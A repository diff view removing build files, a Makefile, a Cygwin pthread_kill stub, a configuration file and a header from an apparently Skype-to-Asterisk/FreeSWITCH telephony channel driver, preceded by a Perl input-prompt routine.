# ARGS: $promptString - what you want to prompt the user with #
# $defaultValue - (optional) a default value for the prompt #
# #
#-------------------------------------------------------------------------#
sub promptUser {
#-------------------------------------------------------------------#
# two possible input arguments - $promptString, and $defaultValue #
# make the input arguments local variables. #
#-------------------------------------------------------------------#
local($promptString,$defaultValue) = @_;
local $input;
local $confirm;
local $gave;
#-------------------------------------------------------------------#
# if there is a default value, use the first print statement; if #
# no default is provided, print the second string. #
#-------------------------------------------------------------------#
while(1){
printf("\n");
if ($defaultValue) {
print $promptString, "\n[", $defaultValue, "]: ";
} else {
print $promptString, ": ";
}
$| = 1; # force a flush after our print
$input = <STDIN>; # get the input from STDIN (presumably the keyboard)
#------------------------------------------------------------------#
# remove the newline character from the end of the input the user #
# gave us. #
#------------------------------------------------------------------#
chomp($input);
$gave = $input ? $input : $defaultValue;
print("You gave: '$gave'\nIt's OK? Please answer 'Y' for yes or 'N' for not [N]: ");
$| = 1; # force a flush after our print
$confirm = <STDIN>;
chomp($confirm);
if($confirm eq "Y" or $confirm eq "y"){
last;
}
}
#-----------------------------------------------------------------#
# if we had a $default value, and the user gave us input, then #
# return the input; if we had a default, and they gave us no #
# no input, return the $defaultValue. #
# #
# if we did not have a default value, then just return whatever #
# the user gave us. if they just hit the <enter> key, #
# the calling routine will have to deal with that. #
#-----------------------------------------------------------------#
if ("$defaultValue") {
return $input ? $input : $defaultValue; # return $_ if it has a value
} else {
return $input;
}
}

View File

@ -1,173 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectName>mod_skypopen</ProjectName>
<ProjectGuid>{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}</ProjectGuid>
<RootNamespace>mod_skypopen</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v140</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v140</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v140</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v140</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="..\..\..\..\w32\module_release.props" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="..\..\..\..\w32\module_release.props" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="..\..\..\..\w32\module_debug.props" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="..\..\..\..\w32\module_debug.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(SolutionDir)\w32\tiff.props" />
<Import Project="$(SolutionDir)\w32\spandsp.props"/>
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<AdditionalIncludeDirectories>%(RootDir)%(Directory)..\..\..\..\libs\spandsp\src\msvc;%(RootDir)%(Directory)..\..\..\..\libs\spandsp\src;%(RootDir)%(Directory)..\..\..\..\libs\jpeg-8d;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level4</WarningLevel>
<TreatWarningAsError>false</TreatWarningAsError>
<DisableSpecificWarnings>28252;28253;4456;6031;4324;6340;6246;6011;6387;%(DisableSpecificWarnings)</DisableSpecificWarnings>
</ClCompile>
<Link>
<AdditionalOptions>rpcrt4.lib "..\..\..\..\libs\spandsp\src\Win32\Debug\libtiff.lib" "..\..\..\..\Win32\Debug\libspandsp.lib" %(AdditionalOptions)</AdditionalOptions>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<AdditionalIncludeDirectories>%(RootDir)%(Directory)..\..\..\..\libs\spandsp\src\msvc;%(RootDir)%(Directory)..\..\..\..\libs\spandsp\src;%(RootDir)%(Directory)..\..\..\..\libs\jpeg-8d;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level4</WarningLevel>
<TreatWarningAsError>false</TreatWarningAsError>
<DisableSpecificWarnings>28183;28252;28253;4456;6031;4324;6340;6246;6011;6387;%(DisableSpecificWarnings)</DisableSpecificWarnings>
</ClCompile>
<Link>
<AdditionalOptions>rpcrt4.lib "..\..\..\..\libs\spandsp\src\x64\Debug\libtiff.lib" "..\..\..\..\x64\Debug\libspandsp.lib" %(AdditionalOptions)</AdditionalOptions>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<AdditionalIncludeDirectories>%(RootDir)%(Directory)..\..\..\..\libs\spandsp\src\msvc;%(RootDir)%(Directory)..\..\..\..\libs\spandsp\src;%(RootDir)%(Directory)..\..\..\..\libs\jpeg-8d;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PrecompiledHeader>
</PrecompiledHeader>
<DisableSpecificWarnings>28252;28253;4456;6031;4324;6340;6246;6011;6387;%(DisableSpecificWarnings)</DisableSpecificWarnings>
</ClCompile>
<Link>
<AdditionalOptions>rpcrt4.lib "..\..\..\..\libs\spandsp\src\Win32\Release\libtiff.lib" "..\..\..\..\Win32\Release\libspandsp.lib" %(AdditionalOptions)</AdditionalOptions>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<AdditionalIncludeDirectories>%(RootDir)%(Directory)..\..\..\..\libs\spandsp\src\msvc;%(RootDir)%(Directory)..\..\..\..\libs\spandsp\src;%(RootDir)%(Directory)..\..\..\..\libs\jpeg-8d;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PrecompiledHeader>
</PrecompiledHeader>
<DisableSpecificWarnings>28252;28253;4456;6031;4324;6340;6246;6011;6387;%(DisableSpecificWarnings)</DisableSpecificWarnings>
</ClCompile>
<Link>
<AdditionalOptions>rpcrt4.lib "..\..\..\..\libs\spandsp\src\x64\Release\libtiff.lib" "..\..\..\..\x64\Release\libspandsp.lib" %(AdditionalOptions)</AdditionalOptions>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="mod_skypopen.c">
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</AdditionalOptions>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</AdditionalOptions>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</AdditionalOptions>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</AdditionalOptions>
</ClCompile>
<ClCompile Include="skypopen_protocol.c">
<DisableSpecificWarnings Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">4305;4306;28193;4244;4267;4324;6340;6246;6011;6387;%(DisableSpecificWarnings)</DisableSpecificWarnings>
<DisableSpecificWarnings Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">4305;4306;28193;4244;4267;4324;6340;6246;6011;6387;%(DisableSpecificWarnings)</DisableSpecificWarnings>
<DisableSpecificWarnings Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">4305;4306;28193;4244;4267;4324;6340;6246;6011;6387;%(DisableSpecificWarnings)</DisableSpecificWarnings>
<DisableSpecificWarnings Condition="'$(Configuration)|$(Platform)'=='Release|x64'">4305;4306;28193;4244;4267;4324;6340;6246;6011;6387;%(DisableSpecificWarnings)</DisableSpecificWarnings>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</AdditionalOptions>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</AdditionalOptions>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</AdditionalOptions>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</AdditionalOptions>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="skypopen.h" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\..\..\..\w32\Library\FreeSwitchCore.2015.vcxproj">
<Project>{202d7a4e-760d-4d0e-afa1-d7459ced30ff}</Project>
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

File diff suppressed because it is too large Load Diff

View File

@ -1,93 +0,0 @@
#
# Asterisk -- A telephony toolkit for Linux.
#
# Makefile for channel drivers
#
# Copyright (C) 1999-2005, Mark Spencer
#
# Mark Spencer <markster@digium.com>
#
# Edited By Belgarath <> Aug 28 2004
# Added bare bones ultrasparc-linux support.
#
# This program is free software, distributed under the terms of
# the GNU General Public License
#
#ASTERISK INCLUDE FILES
#The directory that contains the Asterisk include files (eg: /usr/include or /usr/include/asterisk or /usr/src/asterisk/include or ...)
#AST_INCLUDE_DIR=/usr/src/asterisk/include
#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_trunk/include
#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_branches_160/include
#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_branches_12/include
#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_branches_14/include
#AST_INCLUDE_DIR=/home/maruzz/devel/svn_celliax_trunk/asterisk-1.2.rev137401/include
AST_INCLUDE_DIR=/home/user/devel/asterisk-1.4.23.1/include
#ASTERISK
CFLAGS+=-DASTERISK
#ASTERISK VERSION
#Uncomment one of the following lines to match your Asterisk series
CFLAGS+=-DASTERISK_VERSION_1_4
#CFLAGS+=-DASTERISK_VERSION_1_6
#CFLAGS+=-DASTERISK_VERSION_1_2
#LINUX SKYPE SUPPORT (Celliax for Cygwin always supports Skype)
SKYPE_LIB=-L/usr/X11R6/lib -lX11
CFLAGS+=-pipe -Wall -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations
CFLAGS+=-g3
CFLAGS+=-I$(AST_INCLUDE_DIR) -I.
CFLAGS+=-D_REENTRANT -D_GNU_SOURCE
#CFLAGS+=-O6
CFLAGS+=-march=i686
CFLAGS+=-fomit-frame-pointer
ifeq ($(shell uname -m),x86_64)
CFLAGS+=-fPIC
endif
SVNDEF := -D'SKYPIAX_SVN_VERSION="$(shell svnversion -n ..)"'
CFLAGS += $(SVNDEF)
SOLINK=-shared -Xlinker -x
CHANNEL_LIBS=chan_skypiax.so
CC=gcc
OSARCH=$(shell uname -s)
ifeq ($(findstring CYGWIN,$(OSARCH)),CYGWIN)
# definition of pthread_kill as a printf (or as a noop) is required for Asterisk (and skypiax) to run on Cygwin
# without it, each time (often) pthread_kill is called (by any thread, with any signal, URG included), bad things happen
CC=gcc -D pthread_kill=cyg_no_pthreadkill
AST_DLL_DIR=/home/maruzz/devel/svn_asterisk_branches_12
CYGSOLINK=-Wl,--out-implib=lib$@.a -Wl,--export-all-symbols cyg_no_pthread_kill.o
CYGSOLIB=-L/usr/lib/w32api -lrpcrt4 -L/lib/mingw -lwinmm -L$(AST_DLL_DIR) -lasterisk.dll -L$(AST_DLL_DIR)/res -lres_features.so
SKYPE_LIB=
CHANNEL_LIBS=cyg_no_pthread_kill.o chan_skypiax.so
endif
all: $(CHANNEL_LIBS)
clean:
rm -f *.so *.o *.so.a
#chan_skypiax section begins
#to debug threads and lock on 1.4 uncomment the following
#CFLAGS+=-include /usr/src/asterisk/include/asterisk/autoconfig.h
cyg_no_pthread_kill.o: cyg_no_pthread_kill.c
$(CC) $(CFLAGS) -c -o cyg_no_pthread_kill.o cyg_no_pthread_kill.c
chan_skypiax.o: chan_skypiax.c
$(CC) $(CFLAGS) -c -o chan_skypiax.o chan_skypiax.c
chan_skypiax.so: chan_skypiax.o skypiax_protocol.o
$(CC) $(SOLINK) -o $@ ${CYGSOLINK} chan_skypiax.o skypiax_protocol.o -lm -ldl $(SKYPE_LIB) ${CYGSOLIB}
#chan_skypiax section ends

View File

@ -1 +0,0 @@
Skypopen for asterisk does not work yet.

View File

@ -1,17 +0,0 @@
#include <stdio.h>
#define PRINTMSGCYG
extern int option_debug;
int cyg_no_pthreadkill(int thread, int sig);
int cyg_no_pthreadkill(int thread, int sig)
{
#ifdef PRINTMSGCYG
if (option_debug) {
printf
("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
(unsigned long int) thread, sig);
}
#endif // PRINTMSGCYG
return 0;
}

View File

@ -1,207 +0,0 @@
;;;;;;;;
;;;;;;;;
;;;;;;; Skypiax Asterisk Driver
;;;;;;;
;;;;;;; Configuration file
;;;;;;; lines beginning with semicolon (" are ignored (commented out)
;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;
;;;;;;; The first interface (named skypeclient)
;;;;;;[skypeclient]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;; general settings, valid on all platforms
;;;;;;;
;;;;;;;
;;;;;;; Default language
;;;;;;;
;;;;;;language=en
;;;;;;;
;;;;;;; Default context (in extensions.conf, can be overridden with @context syntax)
;;;;;;;
;;;;;;context=default
;;;;;;;
;;;;;;; Default extension (in extensions.conf) where incoming calls land
;;;;;;;
;;;;;;extension=s
;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;; Debugging settings, valid globally for all interfaces on all platforms
;;;;;;;
;;;;;;; the debug values are global for all the interfaces.
;;;;;;;
;;;;;;; default is no skypiax debugging output, you **have** to activate debugging here to obtain debugging from skypiax
;;;;;;;
;;;;;;; To see the debugging output you have to "set debug 100" from the Asterisk CLI or launch
;;;;;;; Asterisk with -ddddddddddd option, and have the logger.conf file activating debug info for console and messages
;;;;;;;
;;;;;;; You can activate each of the following separately, but you can't disactivate. Eg: debug_at=no does not subtract debug_at from debug_all
;;;;;;; debug_all activate all possible debugging info
;;;;;;;
;;;;;;;debug_all=yes
;;;;;;debug_skype=yes
;;;;;;debug_pbx=yes
;;;;;;;debug_sound=yes
;;;;;;;debug_locks=yes
;;;;;;;debug_monitorlocks=yes
;;;;;;
;;;;;;skype=yes ; legacy setting, leave it to yes
;;;;;;X11_display=:101
;;;;;;tcp_cli_port=11234
;;;;;;tcp_srv_port=11235
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;; audio boost settings, valid for all platforms, to compensate for different input/output audio signal levels
;;;;;;; tweak it if you get horrible (or not hearable) sound
;;;;;;;
;;;;;;;boost can be positive or negative (-40 to +40) in db
;;;;;;;experiment to find which values are best for your computer
;;;;;;playback_boost=0 ;
;;;;;;capture_boost=0 ;
;;;;;;
;;; [skypiax1]
;;; language=en
;;; context=default
;;; extension=s
;;; debug_skype=yes
;;; debug_pbx=yes
;;; skype=yes ; legacy setting, leave it to yes
;;; playback_boost=0 ;
;;; capture_boost=0 ;
;;; X11_display=:101
;;; tcp_cli_port=15576
;;; tcp_srv_port=15577
;;; skype_user=skypiax1
;;;
;;; [skypiax2]
;;; language=en
;;; context=default
;;; extension=s
;;; debug_skype=yes
;;; debug_pbx=yes
;;; skype=yes ; legacy setting, leave it to yes
;;; playback_boost=0 ;
;;; capture_boost=0 ;
;;; X11_display=:102
;;; tcp_cli_port=15578
;;; tcp_srv_port=15579
;;; skype_user=skypiax2
;;;
;;; [skypiax3]
;;; language=en
;;; context=default
;;; extension=s
;;; debug_skype=yes
;;; debug_pbx=yes
;;; skype=yes ; legacy setting, leave it to yes
;;; playback_boost=0 ;
;;; capture_boost=0 ;
;;; X11_display=:103
;;; tcp_cli_port=15580
;;; tcp_srv_port=15581
;;; skype_user=skypiax3
;;;
[skypiax4]
language=en
context=default
extension=s
debug_skype=yes
debug_pbx=yes
skype=yes ; legacy setting, leave it to yes
playback_boost=0 ;
capture_boost=0 ;
X11_display=:104
tcp_cli_port=15582
tcp_srv_port=15583
skype_user=skypiax4
[skypiax5]
language=en
context=default
extension=s
debug_skype=yes
debug_pbx=yes
skype=yes ; legacy setting, leave it to yes
playback_boost=0 ;
capture_boost=0 ;
X11_display=:105
tcp_cli_port=15584
tcp_srv_port=15585
skype_user=skypiax5
[skypiax6]
language=en
context=default
extension=s
debug_skype=yes
debug_pbx=yes
skype=yes ; legacy setting, leave it to yes
playback_boost=0 ;
capture_boost=0 ;
X11_display=:106
tcp_cli_port=15586
tcp_srv_port=16586
skype_user=skypiax6
;;; [skypiax17]
;;; language=en
;;; context=default
;;; extension=s
;;; debug_skype=yes
;;; debug_pbx=yes
;;; skype=yes ; legacy setting, leave it to yes
;;; playback_boost=0 ;
;;; capture_boost=0 ;
;;; X11_display=:117
;;; tcp_cli_port=15587
;;; tcp_srv_port=15588
;;; skype_user=skypiax17
;;;
;;; [skypiax18]
;;; language=en
;;; context=default
;;; extension=s
;;; debug_skype=yes
;;; debug_pbx=yes
;;; skype=yes ; legacy setting, leave it to yes
;;; playback_boost=0 ;
;;; capture_boost=0 ;
;;; X11_display=:118
;;; tcp_cli_port=15589
;;; tcp_srv_port=15590
;;; skype_user=skypiax18
;;;
;;; [skypiax19]
;;; language=en
;;; context=default
;;; extension=s
;;; debug_skype=yes
;;; debug_pbx=yes
;;; skype=yes ; legacy setting, leave it to yes
;;; playback_boost=0 ;
;;; capture_boost=0 ;
;;; X11_display=:119
;;; tcp_cli_port=15591
;;; tcp_srv_port=15592
;;; skype_user=skypiax19
;;;
;;; [skypiax20]
;;; language=en
;;; context=default
;;; extension=s
;;; debug_skype=yes
;;; debug_pbx=yes
;;; skype=yes ; legacy setting, leave it to yes
;;; playback_boost=0 ;
;;; capture_boost=0 ;
;;; X11_display=:120
;;; tcp_cli_port=15593
;;; tcp_srv_port=15594
;;; skype_user=skypiax20
;;;
;;;
;;;

View File

@ -1,427 +0,0 @@
//indent -gnu -ts4 -br -brs -cdw -lp -ce -nbfda -npcs -nprs -npsl -nbbo -saf -sai -saw -cs -bbo -nhnl -nut -sob -l90
#ifndef _SKYPIAX_H_
#define _SKYPIAX_H_
#ifndef SKYPIAX_SVN_VERSION
#define SKYPIAX_SVN_VERSION "????NO_REVISION???"
#endif
#include <asterisk/version.h> /* needed here for conditional compilation on version.h */
/* the following #defs are for LINUX */
#ifndef __CYGWIN__
#ifndef ASTERISK_VERSION_1_6
#ifndef ASTERISK_VERSION_1_4
#ifndef ASTERISK_VERSION_1_2
#define ASTERISK_VERSION_1_4
#if(ASTERISK_VERSION_NUM == 999999)
#undef ASTERISK_VERSION_1_4
#elif(ASTERISK_VERSION_NUM < 10400)
#undef ASTERISK_VERSION_1_4
#endif /* ASTERISK_VERSION_NUM == 999999 || ASTERISK_VERSION_NUM < 10400 */
#endif /* ASTERISK_VERSION_1_2 */
#endif /* ASTERISK_VERSION_1_4 */
#endif /* ASTERISK_VERSION_1_6 */
#ifdef ASTERISK_VERSION_1_2
#undef ASTERISK_VERSION_1_4
#endif /* ASTERISK_VERSION_1_2 */
#ifdef ASTERISK_VERSION_1_6
#define ASTERISK_VERSION_1_4
#endif /* ASTERISK_VERSION_1_6 */
#define SKYPIAX_SKYPE
#define WANT_SKYPE_X11
#endif /* NOT __CYGWIN__ */
/* the following #defs are for WINDOWS */
#ifdef __CYGWIN__
#undef ASTERISK_VERSION_1_4
#undef ASTERISK_VERSION_1_6
#define SKYPIAX_SKYPE
#undef WANT_SKYPE_X11
#endif /* __CYGWIN__ */
/* INCLUDES */
#ifdef ASTERISK_VERSION_1_6
#include <asterisk.h> /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
#endif /* ASTERISK_VERSION_1_6 */
#include <unistd.h>
#include <termios.h>
#include <fcntl.h>
#include <errno.h>
#include <math.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <string.h>
#include <sys/types.h>
#include <signal.h>
#include <ctype.h>
#ifndef ASTERISK_VERSION_1_4
#include <stdlib.h>
#include <stdio.h>
#endif /* ASTERISK_VERSION_1_4 */
#include <asterisk/frame.h>
#include <asterisk/channel.h>
#include <asterisk/module.h>
#include <asterisk/options.h>
#include <asterisk/pbx.h>
#include <asterisk/config.h>
#include <asterisk/cli.h>
#include <asterisk/causes.h>
#include <asterisk/endian.h>
#include <asterisk/lock.h>
#include <asterisk/devicestate.h>
#include <asterisk/file.h>
#include <asterisk/say.h>
#ifdef ASTERISK_VERSION_1_6
#include <asterisk/astobj2.h>
#include <asterisk/paths.h>
#endif /* ASTERISK_VERSION_1_6 */
#ifdef ASTERISK_VERSION_1_4
#include <asterisk/stringfields.h>
#include <asterisk/abstract_jb.h>
#include <asterisk/logger.h>
#include <asterisk/utils.h>
#endif /* ASTERISK_VERSION_1_4 */
#ifdef ASTERISK_VERSION_1_2
#include <asterisk/utils.h>
#include <asterisk/logger.h>
#endif /* ASTERISK_VERSION_1_2 */
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
//#include "skypiax_spandsp.h"
#ifdef __CYGWIN__
#include <windows.h>
#endif /* __CYGWIN__ */
#ifdef WANT_SKYPE_X11
#include <X11/Xlib.h>
#include <X11/Xlibint.h>
#include <X11/Xatom.h>
#endif /* WANT_SKYPE_X11 */
#ifndef AST_DIGIT_ANYDIG
#define AST_DIGIT_ANYDIG "0123456789*#"
#else
#warning Please review Skypiax AST_DIGIT_ANYDIG
#endif
#ifndef _ASTERISK_H
#define AST_CONFIG_MAX_PATH 255 /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
extern char ast_config_AST_CONFIG_DIR[AST_CONFIG_MAX_PATH];
int ast_register_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
#endif
/* DEFINITIONS */
#define SAMPLERATE_SKYPIAX 8000
#define SAMPLES_PER_FRAME SAMPLERATE_SKYPIAX/50
#define SKYPIAX_DIR_CONFIG "directoriax.conf"
/* LUIGI RIZZO's magic */
/* boost support. BOOST_SCALE * 10 ^(BOOST_MAX/20) must
* be representable in 16 bits to avoid overflows.
*/
#define BOOST_SCALE (1<<9)
#define BOOST_MAX 40 /* slightly less than 7 bits */
/* call flow from the device */
#define CALLFLOW_CALL_IDLE AST_STATE_DOWN
#define CALLFLOW_INCOMING_RING AST_STATE_RING
#define CALLFLOW_CALL_DIALING AST_STATE_DIALING
#define CALLFLOW_CALL_LINEBUSY AST_STATE_BUSY
#define CALLFLOW_CALL_ACTIVE 300
#define CALLFLOW_INCOMING_HANGUP 100
#define CALLFLOW_CALL_RELEASED 101
#define CALLFLOW_CALL_NOCARRIER 102
#define CALLFLOW_CALL_INFLUX 103
#define CALLFLOW_CALL_INCOMING 104
#define CALLFLOW_CALL_FAILED 105
#define CALLFLOW_CALL_NOSERVICE 106
#define CALLFLOW_CALL_OUTGOINGRESTRICTED 107
#define CALLFLOW_CALL_SECURITYFAIL 108
#define CALLFLOW_CALL_NOANSWER 109
#define CALLFLOW_STATUS_FINISHED 110
#define CALLFLOW_STATUS_CANCELLED 111
#define CALLFLOW_STATUS_FAILED 112
#define CALLFLOW_STATUS_REFUSED 113
#define CALLFLOW_STATUS_RINGING 114
#define CALLFLOW_STATUS_INPROGRESS 115
#define CALLFLOW_STATUS_UNPLACED 116
#define CALLFLOW_STATUS_ROUTING 117
#define CALLFLOW_STATUS_EARLYMEDIA 118
#define AST_STATE_HANGUP_REQUESTED 200
//FIXME CALLFLOW_INCOMING_CALLID to be removed
#define CALLFLOW_INCOMING_CALLID 1019
/* debugging bitmask */
#define DEBUG_SOUND 1
#define DEBUG_SERIAL 2
#define DEBUG_SKYPE 4
#define DEBUG_AT 8
#define DEBUG_FBUS2 16
#define DEBUG_CALL 32
#define DEBUG_LOCKS 64
#define DEBUG_PBX 128
#define DEBUG_MONITORLOCKS 256
#define DEBUG_ALL DEBUG_SOUND|DEBUG_SERIAL|DEBUG_SKYPE|DEBUG_AT|DEBUG_FBUS2|DEBUG_CALL|DEBUG_PBX|DEBUG_LOCKS|DEBUG_MONITORLOCKS
/* wrappers for ast_log */
#define DEBUGA_SOUND(...) if (skypiax_debug & DEBUG_SOUND) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_SOUND %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
#define DEBUGA_SERIAL(...) if (skypiax_debug & DEBUG_SERIAL) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_SERIAL %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
#define DEBUGA_SKYPE(...) if (skypiax_debug & DEBUG_SKYPE) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_SKYPE %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
#define DEBUGA_AT(...) if (skypiax_debug & DEBUG_AT) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_AT %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
#define DEBUGA_FBUS2(...) if (skypiax_debug & DEBUG_FBUS2) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_FBUS2 %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
#define DEBUGA_CALL(...) if (skypiax_debug & DEBUG_CALL) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_CALL %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
#define DEBUGA_PBX(...) if (skypiax_debug & DEBUG_PBX) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_PBX %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
